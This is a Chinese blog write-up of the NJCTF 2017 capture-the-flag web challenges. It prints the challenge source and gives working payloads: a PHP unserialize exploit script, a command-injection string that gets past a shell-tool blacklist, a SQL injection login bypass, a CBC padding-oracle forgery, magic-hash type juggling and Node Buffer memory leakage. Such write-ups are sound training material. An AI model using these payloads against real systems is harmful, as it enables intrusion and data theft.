NJCTF2017-Web

NJCTF 2017

WEB

Login

 

超长字符串: admin 中间空格 0 &password=自己的密码

然后用admin和自己的密码登录。

 we search the database, and you are admin .

welcome, admin. your flag is NJCTF{4R3_Y0u_7H3_Re41_aDM1N?}

Blog

首先下载源码,是Ruby写的站

在Controller里面

发现注册的时候,有个额外参数,试着附加这个参数=1,即成了管理员

登陆后发现就多了个删除用户功能后来无意间点开F12查看源码。。在注释里发现Flag

Textwall

http://218.2.197.235:23721/lists=35e0e1972f48f19b01fcb2bacb5e9023bf388fdda:1:{i:0;s:1:""";}
 

前面是由SHA1加密的后面的序列化串

http://218.2.197.235:23721/.index.php.swo找到下面部分源码

<?php
 $lists = [];
 Class filelist{
     public function __toString()
     {
         return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
     }
 }
 ........
 ?>

写个php构造反序列化串到lists

<?php
 
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
$a = new filelist;
$a ->source = "index.php";
$b = array("test",$a);
$c = serialize($b);
$d = sha1($c).$c;
echo urlencode($d);

 

<?php
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_COOKIE['lists'])){
    $cookie = $_COOKIE['lists'];
    $hash = substr($cookie, 0, 40);
    $sha1 = substr($cookie, 40);
    if(sha1($sha1) === $hash){
        $lists = unserialize($sha1);
    }
}
if(isset($_POST['hiehiehie'])){
    $info = $_POST['hiehiehie'];
    $lists[] = $info;
    $sha1 = serialize($lists);
    $hash = sha1($sha1);
    setcookie('lists', $hash.$sha1);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Please Get Flag!!</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css"> 
  <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
  <script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</head>
<body>
<div>
    <div>
        <h1>Please Get Flag!!</h1>
    </div>
    <div>
        <?php foreach($lists as $info):?>
            <div>
              <h3><?=$info?></h3>
            </div>
        <?php endforeach;?>
    </div>
    <form method="post" href=".">
        <input name="hiehiehie" value="hiehiehie">
        <input type="submit" value="submit">
    </form>
</div>
</body>
</html>
然后把index.

然后把index.php改成/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g

再次跑一下,得到最后的flag

GET FLAG

首先随便填了个网站,出现下面的报错:

cat: images/http://123.206.216.198:8565: No such file or directory

看来是cat命令,用;和|都被WAF拦截了,于是只能用&&

1.jpg&&ls

base64解码后能看到当前目录文件

 

然后拖下来代码(貌似并没什么用

可以看到过滤了一大堆,很难去弹shell..

 

from flask import Flask, render_template, request
import commands,base64,time
 
app = Flask(__name__)
blacklist = [';', '>', '<', '|', '$', '`', '(', ')', "mv", "rm", "cp", "python", "perl", "ruby", "bash", "zsh", '~', '*', '-', 'echo']
 
@app.route('/', methods=['GET'])
def index():
    return render_template("index.html")
 
 
@app.route('/hehe', methods=['POST'])
def hehe():
    time.sleep(5)
    img = request.form["flag"]
    for hacker in blacklist:
        if hacker in img:
            return render_template("bad.html")
    image = commands.getstatusoutput('cat images/' + img)
    messages = base64.b64encode(image[1])
    return render_template("image.html", image=messages)
 
if __name__ == "__main__":
    try:
        app.run(host='0.0.0.0', port='3000')
    except Exception as e:
        print ("Exception:")

最终在根目录找到flag

输入:1.jpg&&cat /9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag,得到:

NJCTF{Simp13_Pyth0n_C0de_Inj3cti0n_a77ack}

BE ADMIN

index.bak拖到源码

 

<?php
error_reporting(0);
define("SECRET_KEY", "......");
define("METHOD", "aes-128-cbc");
 
session_start();
 
function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}
 
function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;
 
}
 
function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}
 
function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    return $password == $pass;
}
 
 
 
function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                      <div class=\"grad\"></div>
                          <div class=\"header\">
                                 <div>Log<span>In</span></div>
                          </div>
                          <br>
                          <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">              
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}
 
function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";
 
}
 
if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["encrypted_pass"];
    }
 
    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }
 
} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}

 

 

这里利用sql注入绕过登录,payload如下:

 

```

username=-1' union select 1,1 %23

password=0

```

CBC字节翻转

认证成功过后,就是利用Padding Oracle攻击获取`$_SESSION["id"]`解密后的中间值value, 然后伪造IV, 使得 `IV XOR value = 'admin' + string(0x11)* 11`, 即可。Padding Oracle攻击能获取value的后15位字符[31, 98, 136, 77, 18, 192, 207, 77, 124, 202, 38, 195, 172, 216, 123],第一位字符只需循环遍历就可以拿到flag了。

Wallet

提示说有压缩包

于是 www.zip 下载下来

弱口令为njctf2017

是个加密的php文件

3块钱解密

得到源码

<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
       $auth = $_COOKIE["auth"];
       $hsh = $_COOKIE["hsh"];
       if ($auth == $hsh) {
              $auth = 0;
       } else {
              if (sha1((string) $hsh) == md5((string) $auth)) {
                     $auth = 1;
              } else {
                     $auth = 0;
              }
       }
} else {
       $auth = 0;
       $s = $auth;
       setcookie("auth", $s);
       setcookie("hsh", sha1((string) $s));
}
if ($auth) {
       if (isset($_GET['query'])) {
              $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
              $qstr = SQLITE3::escapeString($_GET['query']);
              $query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
              $result = $db->querySingle($query);
              if (!$result === NULL) {
                     echo "Error - invalid query";
              } else {
                     echo "Wallet contains: {$result}";
              }
       } else {
              echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
       }
} else {
       echo "Sorry, not authorized.";
}

首先权限问题

构造SHA1(str1) =MD5(str2)

利用php弱类型判断

“0exxxxxxx”=”0eyyyyyyy”

碰撞到0e开头的SHA1

10932435112 => 0e07766915004133176347055865026311692244

0e开头的md5

240610708 => 0e462097431906509019562988736854

然后,是sqlite注入

Chall I | Chall 2

完全由NodeJs写的站刚开始一直考虑构造json里面包含数字 

 这样客户端Buffer解释器解析的时候就会被down掉,造成内存泄露 

后来一直出现这种提示

NOT A STRING OR A BUFFER

很无奈,做了将近一天。

后来下午的时候,我在想或许是github上有源码?

搜索了一发,关键词:bibibibibibibi….~(很无语......)

果然发现了源码.....

https://github.com/0lddriver/app/tree/04df96febdc004cbe8b66d6aff7a33e7ff8db70b

走起。

在index.js发现

router.post('/login', function(req, res, next) {
     if(req.body.password !== undefined) {
         var endata = crypto.createHash('md5').update(req.body.password).digest("hex");
         if (reg.test(endata)) {
             var pwd = parseInt(endata.slice(0,3),10);
             password = new Buffer(pwd);
             if(password.toString('base64') == config.secret_password) {
                 req.session.admin = 'yes';
                 res.json({'status': 'ok' });
             }else{
                 res.json({'status': 'error', 'error': 'password wrong: '+password.toString()});
             }
         }else{
             res.json({'status': 'error', 'error': 'password wrong: '+endata.toString()});
         }
     } else {
         res.json({'status': 'error', 'error': 'password missing' });
     }
 });


这个逻辑是首先判断是否有密码输入

如果有就把密码先md5加密,然后再hex编码

然后经过正则的检测

var reg = /^[0-9]*$/;

只有hex后为纯数字的才可以通过

通过了之后,取前三位转换成10进制 再由buffer解析触发漏洞

写脚本碰撞一下

3492072592

这个符合要求,且能泄露较多的内存(经过处理后数字足够大)

然后就是无脑burp扫了,勾选上grep为NJCTF

得到flag1

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver} 

得到的key就是config.js中的session_key, 有了session_key就可以伪造cookie了,本地搭建环境,得到cookie中的session.sig和session,然后伪造这两个cookie访问目标站点的“/admin”得到base64编码的flag,解码得NJCTF{N0d5JS是世界上最好的语言,对吗?}

  • 用支付宝打我
  • 用微信打我

一条回应:“NJCTF2017-Web”

  1. s1n说道:

    PHP才是最好的语言()

发表评论

电子邮件地址不会被公开。 必填项已用*标注